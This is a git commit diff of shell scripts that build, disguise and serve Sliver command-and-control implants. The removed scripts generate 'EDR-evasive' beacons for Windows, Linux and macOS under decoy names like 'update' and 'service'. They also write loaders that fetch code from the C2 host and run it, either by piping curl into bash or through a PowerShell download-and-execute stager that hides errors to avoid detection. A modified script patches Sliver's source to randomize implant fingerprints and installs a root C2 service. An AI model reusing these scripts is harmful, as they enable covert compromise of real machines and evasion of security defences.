working on getting custom sliver running
This commit is contained in:
n0mad1k
@@ -1,188 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Advanced EDR-evasive beacon generator with dynamic randomization
|
||||
|
||||
# Dynamic configuration
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
TIMESTAMP=$(date +%s)
|
||||
C2_HOST=${1:-$(hostname -I | awk '{print $1}')}
|
||||
C2_PORT=${2:-$(( 7000 + RANDOM % 3000 ))}
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
random_path() {
|
||||
local depth=$(( 1 + RANDOM % 3 ))
|
||||
local path="/"
|
||||
for ((i=0; i<depth; i++)); do
|
||||
path+="$(random_string $(( 4 + RANDOM % 8 )))/"
|
||||
done
|
||||
echo "${path}$(random_string $(( 5 + RANDOM % 10 )))"
|
||||
}
|
||||
|
||||
# Generate unique profile for each beacon
|
||||
generate_profile() {
|
||||
local type=$1
|
||||
local profile_name="profile-${type}-$(random_string 8)"
|
||||
local http_path1=$(random_path)
|
||||
local http_path2=$(random_path)
|
||||
local interval=$(( 30 + RANDOM % 120 ))
|
||||
local jitter=$(( 10 + RANDOM % 35 ))
|
||||
local headers=(
|
||||
"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))"
|
||||
"X-Requested-With: XMLHttpRequest"
|
||||
"X-Client-ID: $(random_string 16)"
|
||||
"Cache-Control: max-age=$(( 100 + RANDOM % 900 ))"
|
||||
"X-$(random_string 8): $(random_string 12)"
|
||||
)
|
||||
|
||||
# Select random subset of headers
|
||||
local selected_headers=()
|
||||
for ((i=0; i<$(( 2 + RANDOM % 3 )); i++)); do
|
||||
selected_headers+=("${headers[RANDOM % ${#headers[@]}]}")
|
||||
done
|
||||
|
||||
# Format headers for JSON
|
||||
local json_headers="["
|
||||
for ((i=0; i<${#selected_headers[@]}; i++)); do
|
||||
json_headers+="\"${selected_headers[i]}\""
|
||||
if [[ $i -lt $((${#selected_headers[@]}-1)) ]]; then
|
||||
json_headers+=", "
|
||||
fi
|
||||
done
|
||||
json_headers+="]"
|
||||
|
||||
# Create profile with unique properties for this beacon type
|
||||
cat > "$TEMP_DIR/$profile_name.json" << EOF
|
||||
{
|
||||
"name": "$profile_name",
|
||||
"http_urls": ["$http_path1", "$http_path2"],
|
||||
"http_headers": $json_headers,
|
||||
"beacon_interval": $interval,
|
||||
"beacon_jitter": $jitter,
|
||||
"kill_date": "$(date -d "+$(( 30 + RANDOM % 90 )) days" +%Y-%m-%d)",
|
||||
"working_hours": {
|
||||
"start": "$(( 5 + RANDOM % 5 )):$(( RANDOM % 60 ))",
|
||||
"end": "$(( 16 + RANDOM % 8 )):$(( RANDOM % 60 ))"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Install unique profile
|
||||
mkdir -p /root/.sliver/profiles/
|
||||
cp "$TEMP_DIR/$profile_name.json" /root/.sliver/profiles/
|
||||
echo $profile_name
|
||||
}
|
||||
|
||||
# Random output filename generator
|
||||
random_output_name() {
|
||||
local type=$1
|
||||
local names=(
|
||||
"update" "service" "client" "agent" "app" "system"
|
||||
"monitor" "utility" "helper" "runtime" "driver" "module"
|
||||
)
|
||||
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
||||
|
||||
case "$type" in
|
||||
windows) echo "${name}.exe" ;;
|
||||
windows_dll) echo "${name}.dll" ;;
|
||||
linux) echo "${name}" ;;
|
||||
darwin) echo "${name}" ;;
|
||||
*) echo "${name}" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Ensure output directory exists
|
||||
mkdir -p $BEACONS_DIR
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Generate each beacon type with unique profile and settings
|
||||
echo "[+] Generating randomized, evasive beacons..."
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(generate_profile "windows")
|
||||
win_output=$(random_output_name "windows")
|
||||
sliver generate --profile $win_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
||||
--format exe --save "$BEACONS_DIR/$win_output"
|
||||
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(generate_profile "windows_dll")
|
||||
dll_output=$(random_output_name "windows_dll")
|
||||
sliver generate --profile $dll_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
||||
--format shared --save "$BEACONS_DIR/$dll_output"
|
||||
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(generate_profile "linux")
|
||||
linux_output=$(random_output_name "linux")
|
||||
sliver generate --profile $linux_profile --http $C2_HOST:$C2_PORT --os linux --arch amd64 \
|
||||
--format elf --save "$BEACONS_DIR/$linux_output"
|
||||
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
||||
|
||||
# macOS binary
|
||||
mac_profile=$(generate_profile "darwin")
|
||||
mac_output=$(random_output_name "darwin")
|
||||
sliver generate --profile $mac_profile --http $C2_HOST:$C2_PORT --os darwin --arch amd64 \
|
||||
--format macho --save "$BEACONS_DIR/$mac_output"
|
||||
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
||||
|
||||
# Generate dynamic stagers with variable formats
|
||||
stager_profile=$(generate_profile "stager")
|
||||
stager_win=$(random_output_name "windows")
|
||||
sliver generate stager --profile $stager_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
||||
--format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create randomized loader scripts
|
||||
echo "#!/bin/bash
|
||||
# $(random_string 32)
|
||||
# $(date)
|
||||
sleep \$((RANDOM % 3))
|
||||
curl -s http://$C2_HOST:$C2_PORT$(random_path) -H \"$(random_string 8): $(random_string 12)\" | bash
|
||||
# $(random_string 24)" > "$BEACONS_DIR/loader_$(random_string 8).sh"
|
||||
chmod +x "$BEACONS_DIR/loader_$(random_string 8).sh"
|
||||
|
||||
# Random PowerShell stager with junk and evasion
|
||||
cat > "$BEACONS_DIR/loader_$(random_string 8).ps1" << EOF
|
||||
# $(random_string 32)
|
||||
# Generated: $(date)
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$r = New-Object -TypeName Random
|
||||
Start-Sleep -Milliseconds \$r.Next(100, 2000)
|
||||
\$wc = New-Object Net.WebClient
|
||||
\$wc.Headers.Add("$(random_string 8)", "$(random_string 12)")
|
||||
\$url = 'http://$C2_HOST:$C2_PORT$(random_path)'
|
||||
\$outpath = "\$env:TEMP\$(random_string 8).exe"
|
||||
try {
|
||||
# $(random_string 16)
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds \$r.Next(500, 3000)
|
||||
Start-Process -NoNewWindow -FilePath \$outpath
|
||||
} catch {
|
||||
# Error handling to avoid detection
|
||||
# $(random_string 24)
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create index of generated files for reference
|
||||
echo "[+] Creating reference file with beacon details"
|
||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||
C2 Server: $C2_HOST:$C2_PORT
|
||||
Generated: $(date)
|
||||
|
||||
Windows EXE: $win_output (Profile: $win_profile)
|
||||
Windows DLL: $dll_output (Profile: $dll_profile)
|
||||
Linux Binary: $linux_output (Profile: $linux_profile)
|
||||
macOS Binary: $mac_output (Profile: $mac_profile)
|
||||
Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||
|
||||
All profiles are uniquely generated with randomized settings.
|
||||
EOF
|
||||
|
||||
# Cleanup
|
||||
rm -rf $TEMP_DIR
|
||||
echo "[+] Beacon generation complete with dynamic fingerprint avoidance"
|
||||
@@ -1,60 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Beacon server script to host generated implants
|
||||
|
||||
# Configuration
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
WEBSERVER_PORT=8443
|
||||
CERTIFICATE="/etc/ssl/private/beacon-server.pem"
|
||||
KEY="/etc/ssl/private/beacon-server.key"
|
||||
|
||||
# Set secure umask
|
||||
umask 077
|
||||
|
||||
# Ensure beacons directory exists
|
||||
mkdir -p $BEACONS_DIR
|
||||
|
||||
# Function to generate beacons using Sliver
|
||||
# This will replace part of files/serve-beacons.sh
|
||||
function generate_beacons() {
|
||||
echo "[+] Generating evasive beacons for all platforms..."
|
||||
|
||||
# Use evasive beacon generator for better EDR bypass
|
||||
/opt/c2/generate_evasive_beacons.sh $C2_HOST 8443
|
||||
|
||||
# Generate stagers
|
||||
echo "#!/bin/bash
|
||||
curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
|
||||
chmod +x $BEACONS_DIR/beacon.sh
|
||||
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
|
||||
\$url = 'http://$C2_HOST:8443/windows.exe';
|
||||
\$outpath = \"\$env:TEMP\\update.exe\";
|
||||
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
|
||||
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
|
||||
|
||||
echo "[+] All beacons generated successfully"
|
||||
}
|
||||
|
||||
# Generate beacons
|
||||
generate_beacons
|
||||
|
||||
# Serve beacons using Python's HTTP server (with SSL if certificate exists)
|
||||
if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
|
||||
echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
|
||||
cd $BEACONS_DIR
|
||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
||||
SERVER_PID=$!
|
||||
else
|
||||
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
|
||||
cd $BEACONS_DIR
|
||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
||||
SERVER_PID=$!
|
||||
fi
|
||||
|
||||
echo "[+] Beacon server started with PID $SERVER_PID"
|
||||
echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
|
||||
echo "[+] Press Ctrl+C to stop the server"
|
||||
|
||||
# Keep script running and respond to Ctrl+C
|
||||
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
|
||||
while true; do sleep 1; done
|
||||
+65
-106
@@ -1,5 +1,5 @@
|
||||
#!/bin/bash
|
||||
# EDR bypass script for Sliver C2 - With all required dependencies
|
||||
# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support
|
||||
|
||||
set -e
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
@@ -17,10 +17,10 @@ random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||
}
|
||||
|
||||
# Install ALL required dependencies
|
||||
# Install required dependencies
|
||||
log "Installing dependencies..."
|
||||
apt-get update >/dev/null 2>&1
|
||||
apt-get install -y git golang make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
|
||||
apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
|
||||
|
||||
# Clone Sliver repository
|
||||
log "Cloning Sliver repository..."
|
||||
@@ -29,29 +29,17 @@ cd $SLIVER_DIR
|
||||
|
||||
# Examine repository structure
|
||||
log "Analyzing Sliver repository structure..."
|
||||
IMPLANT_NAME=$(random_string 8)
|
||||
IMPLANT_NAME=$(random_string 12)
|
||||
log "Using randomized implant name: $IMPLANT_NAME"
|
||||
|
||||
# Generate randomization values
|
||||
HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)"
|
||||
HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)"
|
||||
BEACON_MIN=$((30 + RANDOM % 60))
|
||||
JITTER=$((10 + RANDOM % 20))
|
||||
|
||||
# Find and modify key files - ImplantName
|
||||
log "Changing implant name to $IMPLANT_NAME..."
|
||||
# Find and modify key files
|
||||
log "Modifying implant name in source code..."
|
||||
grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
|
||||
sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
|
||||
log "Modified $file: ImplantName = \"sliver\" → ImplantName = \"$IMPLANT_NAME\""
|
||||
log "Modified $file: Changed implant name to $IMPLANT_NAME"
|
||||
done
|
||||
|
||||
# Modify HTTP transport patterns
|
||||
log "Modifying HTTP transport patterns..."
|
||||
grep -l "/path/to/file" --include="*.go" -r . | while read file; do
|
||||
sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" "$file"
|
||||
log "Modified $file: \"/path/to/file\" → \"$HTTP_PATH_ONE\""
|
||||
done
|
||||
|
||||
# Add unique build ID to sliver.go
|
||||
# Add custom build ID to sliver.go
|
||||
log "Adding unique build identifiers..."
|
||||
SLIVER_GO_FILES=$(find . -name "sliver.go")
|
||||
for file in $SLIVER_GO_FILES; do
|
||||
@@ -59,102 +47,73 @@ for file in $SLIVER_GO_FILES; do
|
||||
log "Added build identifier to $file"
|
||||
done
|
||||
|
||||
# Modify build flags
|
||||
# Modify build flags for additional randomization
|
||||
log "Setting custom build flags..."
|
||||
grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
|
||||
sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
|
||||
log "Modified $file: Added custom build ID"
|
||||
done
|
||||
|
||||
# Build the modified client without compiling the server
|
||||
log "Building Sliver client..."
|
||||
# Check available targets first
|
||||
log "Available make targets:"
|
||||
make help | grep client || make -h | grep client || log "Make help not available"
|
||||
# Build modified Sliver server and client
|
||||
log "Building customized Sliver server and client..."
|
||||
make
|
||||
|
||||
# Try to build the client with the correct target
|
||||
if make -n client 2>/dev/null; then
|
||||
log "Using 'client' target"
|
||||
make client
|
||||
elif make -n sliver-client 2>/dev/null; then
|
||||
log "Using 'sliver-client' target"
|
||||
make sliver-client
|
||||
else
|
||||
log "Falling back to default build"
|
||||
make
|
||||
fi
|
||||
|
||||
# Check if client was built
|
||||
if [ -f "./sliver-client" ]; then
|
||||
log "Client build successful"
|
||||
# Check if binaries were built
|
||||
if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then
|
||||
log "Build successful - installing customized binaries"
|
||||
|
||||
# Stop any running Sliver service
|
||||
systemctl stop sliver 2>/dev/null || true
|
||||
|
||||
# Move binaries to system path
|
||||
cp -f ./sliver-server /usr/local/bin/
|
||||
cp -f ./sliver-client /usr/local/bin/
|
||||
chmod +x /usr/local/bin/sliver-server
|
||||
chmod +x /usr/local/bin/sliver-client
|
||||
|
||||
# Create systemd service file
|
||||
cat > /etc/systemd/system/sliver.service << EOF
|
||||
[Unit]
|
||||
Description=Sliver C2 Server (Randomized Build)
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
WorkingDirectory=/root/.sliver
|
||||
ExecStart=/usr/local/bin/sliver-server daemon
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security measures
|
||||
PrivateTmp=true
|
||||
ProtectHome=false
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
# Create sliver directories
|
||||
mkdir -p /root/.sliver/{configs,operators,profiles}
|
||||
|
||||
# Create basic operator config
|
||||
/usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg
|
||||
|
||||
# Start sliver service
|
||||
systemctl daemon-reload
|
||||
systemctl enable sliver
|
||||
systemctl start sliver
|
||||
|
||||
log "Sliver service installed and started"
|
||||
else
|
||||
log "Client build failed, creating only the profiles"
|
||||
log "Build failed - binaries not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create custom profiles directory regardless of build success
|
||||
mkdir -p /opt/c2/sliver-profiles
|
||||
|
||||
# Create evasive profile template
|
||||
cat > /opt/c2/sliver-profiles/evasive-template.json << EOF
|
||||
{
|
||||
"name": "evasive-$(random_string 4)",
|
||||
"http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"],
|
||||
"http_headers": [
|
||||
"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))",
|
||||
"X-Requested-With: XMLHttpRequest",
|
||||
"Cache-Control: max-age=$(( 100 + RANDOM % 400 ))"
|
||||
],
|
||||
"beacon_interval": $BEACON_MIN,
|
||||
"beacon_jitter": $JITTER,
|
||||
"kill_date": "$(date -d "+60 days" +%Y-%m-%d)",
|
||||
"working_hours": {
|
||||
"start": "$(( 6 + RANDOM % 4 )):00",
|
||||
"end": "$(( 16 + RANDOM % 6 )):00"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create beacon generator script for use with standard Sliver
|
||||
cat > /opt/c2/generate_evasive_beacons.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
# Generate EDR-evasive beacons using randomized profiles
|
||||
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
PROFILE_DIR="/opt/c2/sliver-profiles"
|
||||
HTTP_HOST=${1:-$(hostname -I | awk '{print $1}')}
|
||||
HTTP_PORT=${2:-8888}
|
||||
|
||||
mkdir -p $BEACONS_DIR
|
||||
|
||||
# Generate random profile name
|
||||
PROFILE="evasive-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||
|
||||
# Copy template to profiles directory
|
||||
mkdir -p /root/.sliver/profiles/
|
||||
cp $PROFILE_DIR/evasive-template.json /root/.sliver/profiles/$PROFILE.json
|
||||
sed -i "s/\"name\": \"evasive-[a-zA-Z0-9]*\"/\"name\": \"$PROFILE\"/g" /root/.sliver/profiles/$PROFILE.json
|
||||
|
||||
echo "[+] Generating Windows beacon..."
|
||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows.exe
|
||||
|
||||
echo "[+] Generating Windows DLL beacon..."
|
||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format shared --save $BEACONS_DIR/windows.dll
|
||||
|
||||
echo "[+] Generating Linux beacon..."
|
||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os linux --arch amd64 --format elf --save $BEACONS_DIR/linux
|
||||
|
||||
echo "[+] Generating macOS beacon..."
|
||||
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os darwin --arch amd64 --format macho --save $BEACONS_DIR/macos
|
||||
|
||||
echo "[+] Generating Windows stager..."
|
||||
sliver generate stager --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows-staged.exe
|
||||
|
||||
echo "[+] All beacons generated successfully with evasive profile: $PROFILE"
|
||||
EOF
|
||||
chmod +x /opt/c2/generate_evasive_beacons.sh
|
||||
|
||||
# Cleanup
|
||||
log "Cleaning up..."
|
||||
rm -rf $TEMP_DIR
|
||||
|
||||
log "Customization complete."exit
|
||||
log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME"
|
||||
Reference in New Issue
Block a user